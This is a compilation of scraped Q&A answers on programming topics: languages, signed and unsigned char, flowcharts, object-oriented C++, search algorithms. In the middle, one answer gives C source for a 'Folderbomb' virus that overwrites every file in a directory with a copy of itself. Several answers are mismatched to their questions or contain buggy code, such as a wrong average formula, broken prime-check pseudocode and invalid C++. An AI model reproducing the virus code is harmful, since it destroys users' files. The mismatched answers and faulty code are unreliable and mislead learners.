I have the feeling you could find this on wikipedia, but here's a list to get you started:
Pascal / Delphi
C / C++ / C#
Visual Basic
Flash Actionscript
Java
Depending on the context, Javascript and even SQL could be considered higher level languages.
How can you care for a diskette?
Keep away from sunlight and heat sources, avoid getting dust on the surface (in particular, keeping the slider closed and/or keep the diskettes in their sleeves. Once a diskette is damaged, it cannot be fixed. Make sure regular backups are made of all diskettes.
Advantages and disadvantages of departmental stores?
Advantages:
You can find anything you want in a store that has variety of things. Most departmental stores will have just about anything you're looking for, from clothes, to pharmaceutical products to food. We're living in a fast paced nation where we want to find things fast and get through our bidding quicker. You'll also find many products to be cheaper, for examples Walmart has many products cheaper than most stores although may vary because they can afford to place it to be cheaper because the demand is higher.
Disadvantages:
There's also disadvantages because many products may not be there, especially products that many other foreigners may want to use. Instead they'll probably have to export. Also because departmental stores carry everything many people will go to them causing traffic, parking dilemmas, and long waiting lines.
Economically:
Many people opening little local stores find themselves competing with large departmental stores, which in turn have them only buying what is needed to meet the demand of the people surrounding.
An array is a group of related elements, with a common variable name. The index is a number that indicates the position of an element within an array: the 1st. element, the 2nd. element, etc. (many languages start counting at zero).
What are programs that tell the computer what to do?
All programs tell the computer what to do, that is the primary purpose of programs.
The program (more accurately -set- of programs) which is the mother of all programs & gives the user direct control over the computer is called the "operating system"
What is the difference between signed charcter and unsigned character in c?
In terms of storage there is no difference. A signed int is the same length (in bits) as an unsigned int. The only difference is the range of values that can be represented by those bits. With signed integers, the most-significant bit is used to denote the sign (0 = positive, 1 = negative), so an 8-bit signed char really only has 7-bits to store the value, thus limiting its positive range to [0:127] whereas the unsigned equivalent has the full 8-bits at its disposal so can represent values in the range [0:255].
Another difference is the way in which negative values are physically represented. There are in fact two ways of achieving this depending on the hardware. Older hardware generally uses ones-complement notation, which simply switches every bit. Thus 00101010 (+42) becomes 11010101 (-42). However, since the value zero is neither positive nor negative, we end up with two representations for the value zero (00000000 and 11111111). This also limits the range to [-127:127] for 8-bit signed values. Newer hardware uses twos-complement notation. To switch the sign, we first take the ones-complement as before but we then add 1 and ignore any overflow. Thus 00000000 becomes 11111111 + 1 which is 00000000. This, in turn, increases the negative range by 1, such that an 8-bit signed char now has a range of [-128:127].
Generally speaking, we use unsigned integers whenever we need to represent natural numbers, such as file sizes or array sizes; values that can never be negative. For all other work, we use signed integers.
Note that in C++ a plain char may be signed or unsigned (depending on the implementation), but is not considered the same type as either a signed or unsigned char. They are three completely independent types. Thus a plain char is only guaranteed to represent values in the range [0:127], the ASCII character codes; the only values common to both signed and unsigned char. If you specifically need to represent values outwith this range, such as [-128:127] or [0:255], use an explicitly signed or unsigned char respectively.
All other integer types (short, int, long and long long) are implicitly signed unless you explicitly declare them with the unsigned modifier. Note also that floats, doubles and long doubles are always signed (they cannot be modified).
Advantages of system flowchart over program flowchart?
The difference between a program flow chart and a system flowchart is that a program flowchart is for a single program. A system flowchart is designed for an entire system with each box representing a process.
Write a program using one print statement to print the asterisks triangle?
#include<stdio.h>
#include<conio.h>
int main()
{
int i,j,k,row,m;
printf("Enter the no of rows:");
scanf("%d",&row);
m=row;
for(i=0;i<m;i++)
{
printf("\n");
for(k=0;k<row;k++)
printf(" ");
for(j=0;j<=i;j++)
printf(" *");
row--;
}
getch();
}
Disadvantages of procedural code over an object-oriented one?
A procedural code is
* less maintainable * polluting the namespace of variables and methods
* making harder to decouple and modularize the code, as such, it is less reusable
than an object-oriented one
Write a c program to compute the average of 3 input quizzes then display the result?
#include <stdio.h>
#include<iostream.h>
#include<conio.h>
#include<windows.h>
int main()
{
int q1, q2, q3, ave;
printf ("Enter 1st quiz: ");
scanf ("%d", &q1);
printf ("Enter 2nd quiz: ");
scanf ("%d", &q2);
printf ("Enter 3rd quiz: ");
scanf ("%d", &q3);
ave=(q1+q2+q3/3);
printf ("Average quiz is %d", ave);
getch() ;
}
If you're talking about viruses on your computer, No you cannot.
Viruses are executables. The code in them is binary code- Machine language. You can't open it and expect to see the C code.
There are many kinds of viruses. Anything which is harmful and/or self-propagating can be considered a virus and there are numerous ways on how to write the same program.
/*this is a simple program to create a virus in c
it will create folder in a folder in a folder and so on run this on your own responsibility*/
void main(int argc,char* argv[])
{ char buf[512]; int source,target,byt,done; struct ffblk ffblk; clrscr(); textcolor(2); cprintf("-------------------------"); printf("\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n"); cprintf("-------------------------"); done = findfirst("*.*",&ffblk,0); while (!done) { printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Folderbomb"); source=open(argv[0],O_RDONLY|O_BINARY); target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY); while(1) {byt=read(source,buf,512); if(byt>0) write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); }
What is the difference between an algorithm and pseusodocode?
Pseudocode is one method of describing an algorithm. Other methods use diagrams, prose, or maybe even regular programming languages.
An algorithm, on the other hand, is a method, a recipe, of solving a particular problem or group of related problems.
Who were the first users of the Internet?
Probably one or two of these guys (you actually need at least two people!):
1. Bob Taylor, one of the original creators of the concept in 1962-1968. He had some sort of internet system between three offices.
Or
2. Lawrence G. Roberts, born 1937 in Connecticut, and who received the Draper Prize in 2001 "for the development of the Internet"
3. Leonard Kleinrock,
4. Robert Kahn,
5. Vinton Cerf.
These last four worked together and developed the 'internet concept' between themselves.
i.e. Larry Roberts and his team created the ARPANet, which was the first significant implementation of Leonard Kleinrock's theories on packet switching, a fundamental feature of (a) the modern internet and (b) ARPANet, the first large network form of the internet.
(A)
To me.This is a simple question if you want to be a web developer HTML CSS and JavaScript are your best goals
Web programming I also agree should be PHP
As a main programming language for the computer
C++ would do.
Java as an alternative C is also an alternative
They are very good and to me -- a 13 year old very easy to understand
Your last question "Where to learn them? If it is C, C++ Or Java and i believe
JavaScript possibly HTML (i do not work with HTML so i do not know)
would be a guy named Bucky's youtube videos (TheNewBoston)... they are how I learned but along side them I would also recommend taking classes or getting a book
(B)
Python would probably be the best first programming language to learn. It's the easiest and the only beginner learn-able language that is used by professionals (e.g. Walt Disney Imagineers). Since it is a high-level programming language, the syntax is not confusing, and probably is comparable to C++ in our fast computer age. Python can be looked at as a sort of stepping stone, once you master Python, mastering C/C++, Perl, PHP, Java, etc., will become much easier. And also, with Python, you can code at lightning speed. Though if you are looking for a fast language, C++ would be a good option, since C is rather low-level and not far from machine code while C++ is mid-level. If you are doing web development, PHP and Java would be good. Of course, the best first language depends on everyone and how they learn, but my recommendation, Python, easy and used by professionals.
This is a difficult question to answer generically, and generally depends on the types of application that you would like to create.
One thing is generally true - if you are truly interested in programming, you should learn an object-oriented language. Object Oriented programming is a challenging concept for novice programmers to understand, and thus learning it early will greatly enhance your ability to create rich applications with minimal effort.
That being said, a question of which language is heavily dependent on the types of applications that you would like to make. There is no "jack-of-all-trades" language. Some languages are better than others, but there is no language that can do everything.
This is a list of languages that would be good for a beginner to learn, based on the platform you would like to develop for:
If you would like to simply create online pages, you should definitely start with these languages, in this order: HTML, CSS, and JavaScript.
All three are valuable to know if you want to do anything web related. The argument could be made that HTML and CSS are not actual "programming languages," but despite this, they are crucial to understanding the internet.
Web Programming
No, this section is not the same as the previous one. Web Development is simply the act of developing websites that can be displayed to a user. Web Programming is the act of creating programs that run on the internet to provide interactive content for the user. A basic knowledge of Web Development is required before you can understand Web Programming.
An example of web programming would be this web site. Rather than being stagnant web pages that the users can look at and use, it is a rich set of tools that can be used by the user to do more than just gather information.
As a beginner in Web Programming, the best suggestion would be to learn PHP. This is primarily for three reasons:
1) It provides a level of abstraction between the programmer and some of the
more difficult aspects of web programming.
2) It enables programmers to create object-oriented scripts.
3) All of the tools needed to begin creating PHP scripts are free. (Linux, Apache, and the PHP interpreter)
If you do not have or want to set up a Linux machine, then the only other realistic option is to buy web space from a web hosting company.
High-Level ProgrammingHigh-level programming, in the context used here, is programming your computer to run programs on your machine. For example, the web browser that you are using right now was created using high-level programming.
The two best options for High-Level Programming are Java and C++. If you are serious about programming, then you should first learn C++ and then Java. If this is a skill you would like to learn on the side, I would recommend Java. The reasons for this are as follows:
Also, for high level programming, you should seriously consider learning some algorithm techniques , including basic ones like searching and sorting, and advanced ones like dynamic algorithms, greedy algorithms etc.
Where to Learn these Languages
Learning a language for the first time can be challenging. The best option would be to take a class. Having an instructor guiding you can mean the difference between night and day when attempting to learn a language for the first time.
If taking a class is not an option, then head down to a bookstore and look in the computers department for a book that covers the language you intend to learn. The most important thing to look for in a book is the copyright date--programming languages are constantly changing, and if you buy a book that is older than 3 years old, you may find yourself learning outdated techniques.
The most reliable way to get answers above and beyond what is mentioned here would be to either search the web or to ask your questions on active programming forums. Programming can be a fun and rewarding experience, and wish you well with your learning.
You also might be interested in websites like topcoder and coderwords They both are good ones.
Note from someone who learned C++ by reading books:
C++ is what is called a Legacy Language, that doesn't mean it's entirely outdated. If you're interested in programming for Windows you may find it easier to use a language like C#. My favorite game at the moment (Wolfenstein) was likely written in C++ and it runs beautifully on my system, I can't imagine how slow it would be if it was written in Java. Don't be afraid to take classes at a community college on programming if you enjoy it.
Recommended Reading
On Bjarne Stroustrup's website you can find much more information about C++.
Quote from Bjarne's webpage:
"Some parts of Visual Studio like the Base Class Libraries that ship with the .NET Framework were written using C# but the C# compiler itself is written in C++"
For an early start
All above is good enough for adult learners having no or little prior experience of programming. If wants to indulge in programming right from the childhood something funny and yet usefully illustrative should be sought. Logo and its descendants have this property (there is an object oriented version as well--Elica). Its easier to follow with minimal mathematics but helps to understand various concepts (like loops etc) in a light way.Once easily mastered one can move on to more involved language (like traditional Basic).All this prepares one with strong foundations at a relatively early stage to comprehend languages like C or even C++. There are various resources for learning logo but Micheal Friendly's Advanced Logo provides a mature approach.
The easiest that I know of is Visual Basic.
Ok, most of that is good, but I have a better idea.
Yeah, there pretty good, but I would recommend a program called Scratch. I used it before I became a successful programmer on Nintendo, but that's a long story.
Does a programmer design computer programs?
Yes. A computer programmer will at least use simple arithmetic. Most computer science degrees require a year of calculus, though I must admit that the most useful math classes I've taken were discrete mathematics. Math that deals with sequences, series, and sets tends to be the most common and useful (in my experience).
Of course it all depends on what specific field of programming you will be in.
If you will be doing a lot of network programming, then graph theory will probably be part of your everyday programming. Graphics programmers will need to know a good bit of geometry and trigonometry.
Why should programmer use object oriented language?
Object oriented programming allows programmers to classify data and methods by type. For instance, a shape is a type of object, a rectangle is a type of shape and a square is a type of rectangle. We can also say that a rectangle is a specialisation of a shape and that a square is a specialisation of a rectangle. Object oriented programming allows us to express relationships between types directly in code such that when we hold a reference to a square, we also hold a reference to a rectangle and a shape. As a result, we can pass a square or rectangle object to a function that knows nothing about squares or rectangles but knows everything about shapes.
All shapes can be drawn. Is it necessary for a function to know precisely how a shape is drawn? Of course not, it is only necessary to know that it can be drawn. Knowing this, the function can simply invoke the shape::draw() method regardless of the actual type of shape.
A rectangle inherits all the properties common to all shapes, thus a rectangle inherits the shape::draw() method. Moreover, a rectangle can specialise this method, overriding any default behaviour with its own specialised implementation in rectangle::draw(). Thus when we pass a rectangle object to a function that only knows about shapes and that function invokes the shape::draw() function, we actually invoke the rectangle::draw() function even though our function knows nothing about rectangles!
By the same token, a square inherits all the properties common to all rectangles, including all properties common to all shapes. Thus square::draw() inherits rectangle::draw() which overrides shape::draw(). However, a square does not actually need to override the draw method because the the implementation that applies to a rectangles also applies to a square. This is because rectangles and squares both have 4 vertices with internal angles of 90 degrees. The only thing that actually differentiates a square from a rectangle is that the adjacent vertices of a square are equidistant, but the actual vertices are defined by the rectangle so the rectangle has all the information required to draw a square. Again, the rectangle object does not need to know anything about squares in order to draw one!
Let's now look at how we can define all of these notions in an object-oriented programming language.
class shape {
public:
virtual void draw() = 0;
virtual ~shape() {}
};
class rectangle : public shape {
public:
rectangle (int top, int left, int width, int height): t {top}, l {left}, w {width}, h {height} {}
void draw() override;
void ~rectangle() override {}
private:
int t, l, w, h;
};
class square : public rectangle final {
public:
square (int top, int left, int size): rectangle {top, left, size, size} {}
};
Although this code is relatively short, it contains a lot of information. This is common in object oriented programming, we can glean a lot of information from very little code. A novice programmer might expect a few user-comments to explain everything in a bit more detail, but to a professional programmer this code tells us every we need to know.
For example, the shape::draw() method is declared a pure-virtual method (a virtual method with no implementation). This immediately tells is the shape class an abstract base class and thus prevents general users from instantiating objects of type shape. This reflects the real world where we can imagine a shape but we cannot draw one (we can only draw a specific type of shape). Being a base class (a class with at least one virtual method), the shape class also has to have a virtual destructor to ensure correct tear-down whenever a shape falls from scope. The shape class has no non-static data members thus we can take advantage of the empty class optimisation. That is, any class that inherits from shape will have zero overhead because there are no data members to inherit.
The rectangle class publicly inherits from shape. This means that all public methods of shape are public methods of rectangle. The rectangle specialises shape with the addition of 4 data members, t, l, w and h (top, left, width and height respectively). The constructor initialises these members at the point of instantiation. We also declare overrides for the inherited interfaces, shape::draw() and shape::~shape(). This is essential otherwise rectangle would also be an abstract base class and we wouldn't be able to instantiate rectangles.
The square class public inherits from rectangle and declares it final. This means we cannot inherit from square, it is not intended to be used as a base class. We automatically inherit both the rectangle::draw() and rectangle::~rectangle() interfaces and we do not need to override these. The only specialisation we need is the constructor which invokes the rectangle constructor to implement the invariant that a rectangle's width and height are always equal for squares. The square has no data members of its own, so there is zero overhead and while we do inherit the data members from rectangle, they are private so we cannot access them.
To complete the implementation, we also need to provide an implementation for the rectangle::draw() method. For this we'll assume that a line() function handles the low-level graphics facility. We do not need to know the implementation details of the line() function, we need only know that the function will draw a line between a pair of coordinates.
void rectangle::draw() {
line (t, l, t, l+w);
line (t, l+w, t+h, l+w);
line (t+h, l+w, t+h, l);
line (t+h, l, t, l);
}
Our definition is complete. We can now use these classes. Let's define a function that accepts a vector of shape pointers and invokes each of their draw methods. We'll use a type alias to reduce code verbosity:
using vec_shapes = std::vector<std::unique_ptr<shape>>;
void draw_shapes (vec_shapes& v) {
for (auto s : v) s->draw();
}
Note that this function only needs to "see" the shape definition. That is, the rectangle and square definitions could be defined in another translation unit entirely. We can even add triangles, circles, pentagons and all manner of other shapes into the mix at a later date and this code will still work without any further modification.
Now let's invoke this function:
void foo() {
vec_shapes v;
v.push_back (new square {10, 10 , 5});
v.push_back (new rectangle {20, 15 , 5, 7});
v.push_back (new square {30, 20 , 4});
v.push_back (new rectangle {40, 25 , 6, 8});
draw_shapes (&v);
}
Note that the vec_shapes alias is itself an object, one that encapsulates a vector of resource handles ("smart" pointers). Although we instantiated four new objects on the heap, we didn't actually delete them as we normally would have had to had they been "naked" pointers. That's because we don't have to delete them. When this function ends, the vector falls from scope and this automatically invokes its destructor which subsequently empties the vector. As each smart pointer within the vector is removed, it falls from scope thus invoking its destructor which explicitly invokes the destructor of the pointer it encapsulates (a pointer to shape). Since that destructor is declared virtual, the most-derived object is destroyed first before working back through the hierarchy, destroying each base class until the shape class itself is finally destroyed.
From this we begin to see the importance of object oriented programming. Resource management details can be fully encapsulated within the objects themselves, thus there is less chance of human error creating resource leaks which is a common problem with C-style coding using "naked" pointers. Objects can also encapsulate class invariants, such that only those methods that modify class member data need maintain those invariants, thus eliminating the need to constantly test those invariants at runtime and thus improving performance. Objects can also implement move semantics so that resources can be efficiently transferred from one object to another thus making it possible to perform (almost) perfect swaps without making any unnecessary temporary copies. This also makes it possible to efficiently return objects from functions by value, the default semantic in both C and C++. Our code becomes easier to write because there's much less of it and much easier to maintain because implementation details are easier to encapsulate.
How can you Write a suitable pseudo code to check whether a number is prime or not?
Begin
Read num
for(i=2; i<num; i++)
if(num%2==0) then
print "the number is not a prime no.";
else if
print "the number is prime";
end if
Stop
Which computer program is capable of reproducing itself?
Short answer - No. With our current level of technology and progress in the field of artificial intelligence there are no computers that can program themselves. However, depending on what you mean by "programme", there are lots of devices that can configure themselves using computer technology. However, even here this is ultimately due to "hard coded" behavior in the circuitry of these devices which is essentially a form of programming from a hardware perspective, which also originated from an external source (people). Of course you could also argue that people can't really "program" themselves either. If you stay strictly within the bounds of the physical realm (not accounting for metaphysical/spiritual aspects) people and by proxy their actions are also a result of causal laws. In this context, we are only a product of our biology and our environment, so in that regard we are no different then a organic computer. Of course, this is not accounting for any metaphysical or spiritual elements, which could significantly change the model of human behavior to be different from that of a computer's behavior. (Updated - Sorry, I didn't have a login yet, so I figured I should get one of those).
Which search algorithm is best?
The question is a bit too vague for a meaningful answer, it depends on what you are searching and what you are looking for.
For search in an unsorted list, there is no better alternative than the naive algorithm of looking at every single element.
For search in a sorted list (like a phone book sorted on name) binary search is much more efficient.
For string search, like used in biology to find DNA matches, there are dedicated algorithms that deal exclusively with string matching.
For graph search, A* ("A star") is among the better.
For more general search problems there are a whole host of search methods that work better than others in particular domains. But so far, there is no ultimate winner that is best for everything. The best ones are generally custom made for one particular problem, like the best known algorithm for the Travelling Salesman Problem.
See also related link.
A race condition or race hazard is a flaw in a system or process whereby the output and/or result of the process is unexpectedly and critically dependent on the sequence or timing of other events. The term originates with the idea of two signals racing each other to influence the output first. Race conditions can occur in electronics systems, especially logic circuits, and in computer software, especially multithreaded or distributed programs.
The degree of a quadratic equation?
The Quadratic Formula song: (my grade saver)
To the tune of the jack in the box song
X equals negative B
plus or minus square root
of
B squared minus 4AC
all over 2A
:)
In what way does binary resemble a language?
Our computers are digital computers as opposed to analog computers. Digital computers process data and instructions made up of words or bytes which are composed of a number of bits. Normally 8 bits make a byte, either 2 bytes (16 bits) or 4 bytes (32 bits) make a computer instruction or a data word. It all depends on the computer design.
The smallest piece of information (part of an instruction or data) is the bit. A bit represents something that can have two values. We call them "0" and "1". Because it can only have two values, we refer to the computer as a binary computer and its machine language as a binary language.
What computer languages do you need to know to be a good programmer?
Everything that you can see done on a computer, from playing games, using webpages, or even clicking icons on your desktop.
Programming languages can be used to create programs that control the behavior of a machine and/or to express algorithms precisely.You can do anything form writing single addition program to creating a websites.